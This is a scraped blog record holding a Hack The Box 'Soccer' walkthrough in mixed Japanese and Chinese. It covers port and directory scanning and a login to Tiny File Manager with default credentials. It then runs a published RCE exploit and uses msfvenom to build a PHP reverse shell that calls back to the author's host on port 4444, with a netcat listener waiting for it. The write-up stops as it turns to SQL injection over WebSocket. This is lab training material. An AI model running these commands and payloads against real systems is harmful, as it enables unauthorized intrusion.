{"id":34835,"date":"2022-12-23T15:04:35","date_gmt":"2024-02-06T18:15:58","guid":{"rendered":"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/"},"modified":"2024-04-29T06:40:02","modified_gmt":"2024-04-28T22:40:02","slug":"%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91","status":"publish","type":"post","link":"https:\/\/www.silicloud.com\/zh\/blog\/%e3%80%90hack-the-box%e3%80%91%e8%b6%b3%e7%90%83%e3%80%90%e6%94%bb%e7%95%a5%e3%80%91\/","title":{"rendered":"\u3010Hack The Box\u3011\u8db3\u7403\u3010\u653b\u7565\u3011"},"content":{"rendered":"

\u4e00\u5f00\u59cb<\/h1>\n

\u3069\u3046\u3082\u3001\u30af\u30bd\u96d1\u9b5a\u306e\u306a\u3093\u3061\u3083\u3066\u30a8\u30f3\u30b8\u30cb\u30a2\u3067\u3059\u3002
\n\u672c\u8a18\u4e8b\u306f Hack The Box(\u4ee5\u4e0b\u30ea\u30f3\u30af\u53c2\u7167) \u306e\u300cSoccer\u300d\u306b\u30c1\u30e3\u30ec\u30f3\u30b8\u3057\u305f\u969b\u306e WriteUp \u306b\u306a\u308a\u307e\u3059\u3002
\n\u203b\u4ee5\u524d\u307e\u3067\u306e\u30c4\u30fc\u30eb\u306e\u4f7f\u3044\u65b9\u306a\u3069\u8a73\u7d30\u3092\u66f8\u3044\u305f\u3082\u306e\u3067\u306f\u306a\u3044\u306e\u3067\u3054\u4e86\u627f\u304f\u3060\u3055\u3044\u3002<\/p>\n

\u8bf7\u4e0d\u8981\u6ee5\u7528\u8fd9\u4e9b\u6280\u672f\uff0c\u800c\u662f\u5e94\u8be5\u5c06\u5176\u7528\u4e8e\u4e3a\u793e\u4f1a\u505a\u51fa\u8d21\u732e\u3002\u8fdd\u53cd\u6cd5\u5f8b\u662f\u4e0d\u53ef\u53d6\u7684\u3002<\/p>\n

 <\/p>\n

\u63a2\u7d22 – 1<\/h1>\n

\u7aef\u53e3\u626b\u63cf<\/h2>\n

\u4eca\u56de\u306fRustScan\u3067\u9ad8\u901f\u30b9\u30ad\u30e3\u30f3\u3057\u3066\u307f\u305f\u3002<\/p>\n

\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~]\r\n\u2514\u2500# rustscan -a<\/span> 10.10.11.194 --top<\/span> --ulimit<\/span> 10000 \r\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\r\n| {}<\/span>  }<\/span>| {<\/span> }<\/span> |{<\/span> {<\/span>__ {<\/span>_   _}{<\/span> {<\/span>__  \/  ___}<\/span> \/ {}<\/span> \\ <\/span>|  `<\/span>| |\r\n| .-. \\|<\/span> {<\/span>_}<\/span> |.-._}<\/span> }<\/span> | |  .-._}<\/span> }<\/span>\\ <\/span>    }<\/span>\/  \/\\ <\/span> \\|<\/span> |\\ <\/span> |\r\n`<\/span>-' `-'<\/span>`<\/span>-----<\/span>'`----'<\/span>  `<\/span>-'  `----'<\/span>  `<\/span>---<\/span>' `-'<\/span>  `<\/span>-'`-'<\/span> `<\/span>-'\r\nThe Modern Day Port Scanner.\r\n________________________________________\r\n: https:\/\/discord.gg\/GFrQsGy           :\r\n: https:\/\/github.com\/RustScan\/RustScan :\r\n --------------------------------------\r\n?HACK THE PLANET?\r\n\r\n[~] The config file is expected to be at \"\/root\/.rustscan.toml\"\r\n[~] Automatically increasing ulimit value to 10000.\r\nOpen 10.10.11.194:22\r\nOpen 10.10.11.194:80\r\nOpen 10.10.11.194:9091\r\n[~] Starting Script(s)\r\n[>] Script to be run Some(\"nmap -vvv -p {{port}} {{ip}}\")\r\n\r\n[~] Starting Nmap 7.91 ( https:\/\/nmap.org ) at 2022-12-23 17:26 JST\r\nInitiating Ping Scan at 17:26\r\nScanning 10.10.11.194 [4 ports]\r\nCompleted Ping Scan at 17:26, 0.35s elapsed (1 total hosts)\r\nInitiating Parallel DNS resolution of 1 host. at 17:26\r\nCompleted Parallel DNS resolution of 1 host. at 17:26, 0.01s elapsed\r\nDNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]\r\nInitiating SYN Stealth Scan at 17:26\r\nScanning 10.10.11.194 [3 ports]\r\nDiscovered open port 80\/tcp on 10.10.11.194\r\nDiscovered open port 22\/tcp on 10.10.11.194\r\nDiscovered open port 9091\/tcp on 10.10.11.194\r\nCompleted SYN Stealth Scan at 17:26, 0.30s elapsed (3 total ports)\r\nNmap scan report for 10.10.11.194\r\nHost is up, received reset ttl 63 (0.27s latency).\r\nScanned at 2022-12-23 17:26:11 JST for 0s\r\n\r\nPORT     STATE SERVICE        REASON\r\n22\/tcp   open  ssh            syn-ack ttl 63\r\n80\/tcp   open  http           syn-ack ttl 63\r\n9091\/tcp open  xmltec-xmlmail syn-ack ttl 63\r\n\r\nRead data files from: \/usr\/bin\/..\/share\/nmap\r\nNmap done: 1 IP address (1 host up) scanned in 1.02 seconds\r\n           Raw packets sent: 7 (284B) | Rcvd: 4 (172B)\r\n<\/span><\/code><\/pre>\n
\u4f3c\u4e4e\u5df2\u516c\u5f00\u7aef\u53e322\u300180\u548c9091\u3002\u5b9e\u9645\u4e0a\uff0c\u5f53\u6211\u5c1d\u8bd5\u8bbf\u95ee80\u7aef\u53e3\u65f6\uff0c\u5f97\u5230\u4e86”\u65e0\u6cd5\u8bbf\u95eesoccer.htb”\u7684\u63d0\u793a\uff0c\u56e0\u6b64\u9700\u8981\u8bbe\u7f6eDNS\u914d\u7f6e\u3002<\/p>\n
\u6536\u85cf<\/h1>\n
\u57df\u540d\u73af\u5883\u8bbe\u7f6e<\/h2>\n
\u4eca\u56deBOX\u74b0\u5883\u306bDNS\u306f\u306a\u3044\u306e\u3067\u3001\u81ea\u8eab\u306ekalilinux\u3067\u540d\u524d\u89e3\u6c7a\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u3068\u304f\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# vim \/etc\/resolv.conf \r\n<\/code><\/pre>\n
\u8bf7\u63d0\u4f9b\u4ee5\u4e0b\u5185\u5bb9\u3002<\/p>\n
nameserver 127.0.0.1\r\n<\/code><\/pre>\n
\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u8981\u4fee\u6539\/etc\/host\u6587\u4ef6\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# vim \/etc\/hosts   \r\n<\/code><\/pre>\n
\u8bf7\u6295\u5165\u4ee5\u4e0b\u5185\u5bb9\u3002<\/p>\n
10.10.11.194    soccer.htb\r\n<\/code><\/pre>\n
\u758e\u901a\u78ba\u8a8d\u3092\u884c\u3046\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~]\r\n\u2514\u2500# ping soccer.htb   \r\n<\/code><\/pre>\n
\u7f51\u7ad9\u641c\u7d22<\/h2>\n
\u7531\u4e8eHttp\u670d\u52a1\u53ef\u7528\uff0c\u6240\u4ee5\u6211\u4eec\u4f1a\u4ece\u4e00\u79cd\u5143\u9605\u8bfb\u7684\u89d2\u5ea6\u5f00\u59cb\u5bf9\u7f51\u7ad9\u8fdb\u884c\u641c\u7d22\uff0c\u56e0\u4e3a\u6211\u731c\u60f3\u7f51\u9875\u4e0a\u53ef\u80fd\u5b58\u5728\u6f0f\u6d1e\u3002<\/p>\n
Subdomain\u63a2\u7d22<\/h3>\n
\u8bf7\u4ece\u4ee5\u4e0b\u7f51\u7ad9\u4e0b\u8f7d\u5b50\u57df\u540d\u5217\u8868\u3002<\/p>\n
 <\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# wget https:\/\/raw.githubusercontent.com\/danielmiessler\/SecLists\/master\/Discovery\/DNS\/bitquark-subdomains-top100000.txt\r\n<\/code><\/pre>\n
ffuf\u3067\u63a2\u7d22\u3002\u7279\u6bb5\u305d\u308c\u3063\u307d\u3044\u306e\u306f\u306a\u3055\u305d\u3046\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# ffuf -w<\/span> .\/bitquark-subdomains-top100000.txt:FUZZ -u<\/span> http:\/\/soccer.htb\/ -H<\/span> \"HOST: FUZZ.soccer.htb\"<\/span> -fs<\/span> 178 -t<\/span> 60\r\n\r\n        \/'___\\  \/'<\/span>___\\ <\/span>          \/'___\\       \r\n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \r\n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \r\n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \r\n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \r\n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \r\n\r\n       v1.5.0 Kali Exclusive <3\r\n________________________________________________\r\n\r\n :: Method           : GET\r\n :: URL              : http:\/\/soccer.htb\/\r\n :: Wordlist         : FUZZ: .\/bitquark-subdomains-top100000.txt\r\n :: Header           : Host: FUZZ.soccer.htb\r\n :: Follow redirects : false\r\n :: Calibration      : false\r\n :: Timeout          : 10\r\n :: Threads          : 60\r\n :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500\r\n :: Filter           : Response size: 178\r\n________________________________________________\r\n\r\n:: Progress: [100000\/100000] :: Job [1\/1] :: 219 req\/sec :: Duration: [0:09:28] :: Errors: 0 ::\r\n<\/span><\/code><\/pre>\n
\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u63a2\u7d22<\/h3>\n
\u4f7f\u7528dirsearch\u8fdb\u884c\u63a2\u7d22\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~]\r\n\u2514\u2500# dirsearch -u<\/span> http:\/\/soccer.htb\/                                                                                                                    1 \u2a2f\r\n\r\n  _|. _ _  _  _  _ _|_    v0.4.2\r\n (<\/span>_||| _)<\/span> (<\/span>\/_(<\/span>_|| (<\/span>_| )<\/span>\r\n\r\nExtensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927\r\n\r\nOutput File: \/root\/.dirsearch\/reports\/soccer.htb\/-_22-12-23_17-30-18.txt\r\n\r\nError Log: \/root\/.dirsearch\/logs\/errors-22-12-23_17-30-18.log\r\n\r\nTarget: http:\/\/soccer.htb\/\r\n\r\n[<\/span>17:30:19] Starting: \r\n[<\/span>17:30:27] 403 -  564B  - \/.ht_wsr.txt                                     \r\n[<\/span>17:30:27] 403 -  564B  - \/.htaccess.bak1\r\n[<\/span>17:30:27] 403 -  564B  - \/.htaccess.orig\r\n[<\/span>17:30:27] 403 -  564B  - \/.htaccess.sample\r\n[<\/span>17:30:27] 403 -  564B  - \/.htaccess.save\r\n[<\/span>17:30:27] 403 -  564B  - \/.htaccess_extra\r\n[<\/span>17:30:27] 403 -  564B  - \/.htaccess_orig\r\n[<\/span>17:30:27] 403 -  564B  - \/.htaccess_sc\r\n[<\/span>17:30:27] 403 -  564B  - \/.htaccessOLD2\r\n[<\/span>17:30:27] 403 -  564B  - \/.htaccessBAK\r\n[<\/span>17:30:27] 403 -  564B  - \/.htaccessOLD\r\n[<\/span>17:30:27] 403 -  564B  - \/.htm                                            \r\n[<\/span>17:30:27] 403 -  564B  - \/.html\r\n[<\/span>17:30:27] 403 -  564B  - \/.htpasswd_test\r\n[<\/span>17:30:27] 403 -  564B  - \/.httr-oauth\r\n[<\/span>17:30:27] 403 -  564B  - \/.htpasswds                                      \r\n[<\/span>17:30:50] 403 -  564B  - \/admin\/.htaccess                                  \r\n[<\/span>17:30:59] 403 -  564B  - \/administrator\/.htaccess                          \r\n[<\/span>17:31:02] 403 -  564B  - \/app\/.htaccess                                    \r\n[<\/span>17:31:25] 200 -    7KB - \/index.html                                       \r\n                                                                             \r\nTask Completed\r\n<\/code><\/pre>\n
\u30a2\u30af\u30bb\u30b9\u62d2\u5426\u3055\u308c\u3066\u3044\u308b\u30ea\u30bd\u30fc\u30b9\u304c\u5927\u534a\u3067\u3042\u308b\u3002\u5b9f\u969b\u306b\u30a2\u30af\u30bb\u30b9\u3057\u3066\u307f\u3066\u3069\u3046\u3044\u3063\u305fWeb\u30b5\u30a4\u30c8\u304b\u63a2\u3063\u3066\u307f\u305f\u304c\u7279\u6bb5Submit\u3067\u304d\u305d\u3046\u306a\u3068\u3053\u308d\u3082\u306a\u3044\u306e\u3067\u66f4\u306b\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u63a2\u7d22\u3092FFuF\u3067\u5b9f\u65bd\u3057\u3066\u3044\u304f\u3002
\n\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u30ea\u30b9\u30c8\u3092\u5f15\u3063\u5f35\u3063\u3066\u304d\u305f\u30b5\u30a4\u30c8\u304b\u3089Web\u30b3\u30f3\u30c6\u30f3\u30c4\u30ea\u30b9\u30c8\u3092\u6301\u3063\u3066\u304f\u308b\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# wget https:\/\/raw.githubusercontent.com\/danielmiessler\/SecLists\/master\/Discovery\/Web-Content\/directory-list-2.3-small.txt\r\n<\/code><\/pre>\n
\u8fdb\u884c\u6a21\u7cca\u6d4b\u8bd5\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# ffuf -w<\/span> .\/directory-list-2.3-small.txt:FUZZ -u<\/span> http:\/\/soccer.htb\/FUZZ -t<\/span> 100\r\n\r\n        \/'___\\  \/'<\/span>___\\ <\/span>          \/'___\\       \r\n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \r\n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \r\n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \r\n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \r\n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \r\n\r\n       v1.5.0 Kali Exclusive <3\r\n________________________________________________\r\n\r\n :: Method           : GET\r\n :: URL              : http:\/\/soccer.htb\/FUZZ\r\n :: Wordlist         : FUZZ: .\/directory-list-2.3-small.txt\r\n :: Follow redirects : false\r\n :: Calibration      : false\r\n :: Timeout          : 10\r\n :: Threads          : 100\r\n :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500\r\n________________________________________________\r\n\r\n#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 270ms]\r\n# directory-list-2.3-small.txt [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 269ms]\r\n# This work is licensed under the Creative Commons [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 272ms]\r\n#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 280ms]\r\n# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]\r\n# license, visit http:\/\/creativecommons.org\/licenses\/by-sa\/3.0\/ [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]\r\n# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]\r\n# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 282ms]\r\n# on at least 3 different hosts [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 282ms]\r\n                        [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 283ms]\r\n#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]\r\n# Copyright 2007 James Fisher [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 285ms]\r\n#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 283ms]\r\n# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 283ms]\r\ntiny                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 263ms]\r\n                        [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 272ms]\r\n:: Progress: [87664\/87664] :: Job [1\/1] :: 365 req\/sec :: Duration: [0:04:17] :: Errors: 0 ::\r\n<\/span><\/code><\/pre>\n
\u300ctiny\u300d\u306e\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u968e\u5c64\u304c\u898b\u3064\u304b\u3063\u305f\u306e\u3067\u66f4\u306b\u63a2\u3063\u3066\u3044\u304f\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# ffuf -w<\/span> .\/directory-list-2.3-small.txt:FUZZ -u<\/span> http:\/\/soccer.htb\/tiny\/FUZZ -t<\/span> 50\r\n\r\n        \/'___\\  \/'<\/span>___\\ <\/span>          \/'___\\       \r\n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \r\n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \r\n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \r\n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \r\n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \r\n\r\n       v1.5.0 Kali Exclusive <3\r\n________________________________________________\r\n\r\n :: Method           : GET\r\n :: URL              : http:\/\/soccer.htb\/tiny\/FUZZ\r\n :: Wordlist         : FUZZ: .\/directory-list-2.3-small.txt\r\n :: Follow redirects : false\r\n :: Calibration      : false\r\n :: Timeout          : 10\r\n :: Threads          : 50\r\n :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500\r\n________________________________________________\r\n\r\n# on at least 3 different hosts [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 282ms]\r\n#                       [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 282ms]\r\n                        [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 283ms]\r\n# This work is licensed under the Creative Commons [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 327ms]\r\n# directory-list-2.3-small.txt [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 331ms]\r\n#                       [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 330ms]\r\n# Copyright 2007 James Fisher [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 333ms]\r\n# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 333ms]\r\n#                       [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 333ms]\r\n# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 334ms]\r\n# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 334ms]\r\n# license, visit http:\/\/creativecommons.org\/licenses\/by-sa\/3.0\/ [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 335ms]\r\n# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 336ms]\r\n#                       [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 336ms]\r\nuploads                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 281ms]\r\n                        [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 274ms]\r\n:: Progress: [87664\/87664] :: Job [1\/1] :: 178 req\/sec :: Duration: [0:10:06] :: Errors: 51 ::\r\n<\/span><\/code><\/pre>\n
\u300c\/tiny\/uploads\u300d\u306e\u968e\u5c64\u304c\u898b\u3064\u304b\u3063\u305f\u3002\u3053\u3053\u304b\u3089\u66f4\u306b\u968e\u5c64\u3092\u63a2\u3063\u3066\u307f\u305f\u304c\u826f\u3055\u305d\u3046\u306a\u7269\u306f\u898b\u3064\u304b\u3089\u306a\u304b\u3063\u305f\u3002
\n\u305d\u3053\u3067\u5b9f\u969b\u306b\u300ctiny\u300d\u306e\u968e\u5c64\u3078\u30a2\u30af\u30bb\u30b9\u3057\u3066\u307f\u308b\u3068\u4ee5\u4e0b\u306e\u30ed\u30b0\u30a4\u30f3\u753b\u9762\u304c\u51fa\u3066\u304d\u305f\u3002<\/p>\n
\"1.png\"<\/div>\n
Tiny File Manager \u3092\u4f7f\u3063\u3066\u3044\u308b\u3088\u3046\u3060\u3002<\/p>\n
\u521d\u59cb\u8bbf\u95ee – \u7b2c1\u6b65<\/h1>\n
\u6211\u51b3\u5b9a\u8c03\u67e5\u8fd9\u4e2a\u4eba\u7684\u8eab\u4efd\u8ba4\u8bc1\u4fe1\u606f\u3002
\n\u56e0\u4e3a\u4e0b\u9762\u6709\u9ed8\u8ba4\u7684\u8d26\u6237\u5bc6\u7801\uff0c\u6240\u4ee5\u6211\u5c1d\u8bd5\u4e86\u4e00\u4e0b\uff0c\u7adf\u7136\u6210\u529f\u4e86\uff01<\/p>\n
\u9ed8\u8ba4\u7528\u6237\u540d\/\u5bc6\u7801\uff1aadmin\/admin@123\u548cuser\/12345\u3002<\/p><\/blockquote>\n
 <\/p>\n
\"1a.png\"<\/div>\n
 <\/p>\n
\u7528Kali\u5c06\u8fd9\u6bb5Exploit\u4ee3\u7801\u5f15\u5165\u8fdb\u53bb\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~]\r\n\u2514\u2500# searchsploit -p<\/span> 50828\r\n  Exploit: Tiny File Manager 2.4.6 - Remote Code Execution (<\/span>RCE)<\/span>\r\n      URL: https:\/\/www.exploit-db.com\/exploits\/50828\r\n     Path: \/usr\/share\/exploitdb\/exploits\/php\/webapps\/50828.sh\r\n    Codes: CVE-2021-45010, CVE-2021-40964\r\n Verified: False\r\nFile Type: UTF-8 Unicode text\r\n<\/code><\/pre>\n
\"image.png\"<\/div>\n
\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# .\/50828.sh http:\/\/soccer.htb\/tiny\/ admin admin@123                                                                                                 1 \u2a2f\r\n\/usr\/bin\/curl\r\n[<\/span>\u2714] Curl found! \r\n\/usr\/bin\/jq\r\n[<\/span>\u2714] jq found! \r\n\r\n[<\/span>+]  Login Success! Cookie: filemanager<\/span>=<\/span>lpj4uvl4vc8u36nrghgi2fnc11 \r\n\r\n[<\/span>*<\/span>]<\/span> Try to Leak Web root directory path \r\n\r\n[<\/span>+] Found WEBROOT directory for <\/span>tinyfilemanager using full path disclosure bug : \/var\/www\/html\/tiny\/ \r\n\r\n[<\/span>-] File Upload Unsuccessful! Exiting!  \r\n<\/code><\/pre>\n
Exploit\u306f\u901a\u308a\u305d\u3046\u3060\u304c\u3001Payload\u3092\u6253\u3061\u8fbc\u3080\u305f\u3081\u306e\u66f8\u304d\u8fbc\u307f\u6a29\u9650\u304c\u306a\u3044\u3088\u3046\u3067\u3042\u308b\u3002<\/p>\n
Persistence – 1<\/h1>\n
\u7531\u4e8e\u300c50828.sh\u300d\u7684Exploit\u65e0\u6cd5\u4f7f\u7528\uff0c\u6211\u6253\u7b97\u76f4\u63a5\u4eceWeb\u4e0a\u8f93\u5165ReverseShell\u3002\u6211\u8ba1\u5212\u5229\u7528\u4ee5\u4e0b\u975e\u5e38\u65b9\u4fbf\u7684\u7f51\u7ad9\u3002<\/p>\n
 <\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# msfvenom -p<\/span> php\/reverse_php LHOST<\/span>=<\/span>10.10.14.72 LPORT<\/span>=<\/span>4444 -o<\/span> shell.php                                                                              1 \u2a2f\r\n[<\/span>-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload\r\n[<\/span>-] No arch <\/span>selected, selecting arch<\/span>: php from the payload\r\nNo encoder specified, outputting raw payload\r\nPayload size: 3018 bytes\r\nSaved as: shell.php\r\n<\/code><\/pre>\n
\u53d7\u3051\u5074\u3082\u7528\u610f\u3057\u3066\u304a\u304f\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# nc -lvnp<\/span> 4444\r\nlistening on [<\/span>any] 4444 ...\r\n<\/code><\/pre>\n
\"3.png\"<\/div>\n
\u304a\u304a\u304a\uff01\uff01\uff01\u30b7\u30a7\u30eb\u30b2\u30c3\u30c8\u3060\u305c\uff01\uff01\uff01
\n…\u3060\u304c\u300cuser.txt\u300d\u3092\u898b\u308b\u3053\u3068\u306f\u3067\u304d\u306a\u3044\u3002home\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u968e\u5c64\u3092\u898b\u305f\u611f\u3058\u300cplayer\u300d\u306e\u30e6\u30fc\u30b6\u306e\u30b7\u30a7\u30eb\u6a29\u9650\u3092\u53d6\u5f97\u3057\u306a\u3044\u3068\u3044\u3051\u306a\u3044\u3088\u3046\u3067\u3042\u308b\u3002<\/p>\n
\u53d1\u73b0-2<\/h1>\n
\"4.png\"<\/div>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# vim \/etc\/hosts   \r\n<\/code><\/pre>\n
\u4ee5\u4e0b\u3092\u6295\u5165\u3002<\/p>\n
10.10.11.194    soc-player.soccer.htb\r\n<\/code><\/pre>\n
\"6a.png\"<\/div>\n
Websocket\u304b\u3041…\u308f\u3063\u304b\u3093\u306d\u3047…<\/p>\n
\u521d\u59cb\u8bbf\u95ee-2<\/h1>\n
\u3053\u306e\u30b7\u30b9\u30c6\u30e0\u306e\u52d5\u4f5c\u3092\u306a\u3093\u3068\u306a\u304f\u3067\u898b\u3066\u308b\u3068\u3001\u3042\u308b\u7a0b\u5ea6\u3069\u3046\u3044\u3063\u305f\u52d5\u4f5c\u3092\u3057\u3066\u3044\u308b\u304b\u308f\u304b\u3063\u305f\u308a\u3059\u308b…
\n\u3053\u308c\u306fWeb\u958b\u767a\u8005\u5411\u3051\u306e\u611f\u899a\u306b\u306a\u308b\u306e\u3060\u304c\u3001\u3053\u306e\u901a\u4fe1\u306fTicketID\u3092\u9001\u4fe1\u3057\u3066\u305d\u306eID\u3092\u691c\u7d22\u3057\u3001\u3042\u308c\u3070Exits\u3068\u56de\u7b54\u3059\u308b\u901a\u4fe1\u3092\u8fd4\u3057\u3066\u3044\u308b\u3068\u5224\u65ad\u3055\u308c\u308b\u3002
\n\u30d0\u30c3\u30af\u30a8\u30f3\u30c9\u3067SQL\u3092\u305f\u305f\u3044\u3066\u3044\u308b\u30bd\u30fc\u30b9\u304c\u3042\u3063\u305f\u308a\u3057\u305d\u3046\u3002
\n\u66f4\u306b\u306fWebsocket\u3092\u7528\u3044\u305f\u6700\u8fd1\u306eCTF\u3067\u306fSQLi\u3092\u8a66\u3059\u3053\u3068\u3067\u7a81\u7834\u3067\u304d\u308b\u3053\u3068\u3082\u591a\u304f\u306a\u3063\u3066\u304d\u3066\u3044\u308b\u3002<\/p>\n
\u6240\u4ee5\uff0c\u603b\u4e4b\uff0c\u6211\u6253\u7b97\u5148\u8bd5\u8bd5SQLi\u3002
\n\u203b\u5b9e\u9645\u4e0a\u8fd9\u4e2a\u90e8\u5206\u53ea\u662f\u51ed\u611f\u89c9\u505a\u7684\uff0c\u5bf9\u4e0d\u8d77\uff0c\u5728\u6211\u63d0\u524d\u8bf4\u7684\u4e8b\uff0c\u603b\u4e4b\uff0c\u6211\u597d\u50cf\u6210\u529f\u4e86\uff08\u7b11\uff09\u3002<\/p>\n
\u5728Websocket\u4e0a\u4f7f\u7528sqlmap<\/h2>\n
\u6211\u8ba4\u4e3a\u5728\u5c1d\u8bd5SQLi\u65f6\uff0c\u7ecf\u5e38\u4f7f\u7528\u7684\u5de5\u5177\u662fsqlmap\u3002\u7136\u800c\uff0c\u8fd9\u4e2a\u5de5\u5177\u4f3c\u4e4e\u6ca1\u6709\u8003\u8651\u5230WebSocket\u901a\u4fe1\u3002
\n\u6240\u4ee5\uff0c\u6211\u81ea\u5df1\u5236\u4f5c\u4e86\u4e00\u4e2a\u5c06sqlmap\u7684HTTP\u901a\u4fe1\u8f6c\u6362\u4e3aWebSocket\u7684\u5de5\u5177\u3002
\n\u53c2\u8003\u4e86\u4ee5\u4e0b\u7f51\u7ad9\u8fdb\u884c\u521b\u5efa\u3002<\/p>\n
 <\/p>\n
\u30b3\u30fc\u30c9\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u306a\u3063\u305f\u3002<\/p>\n
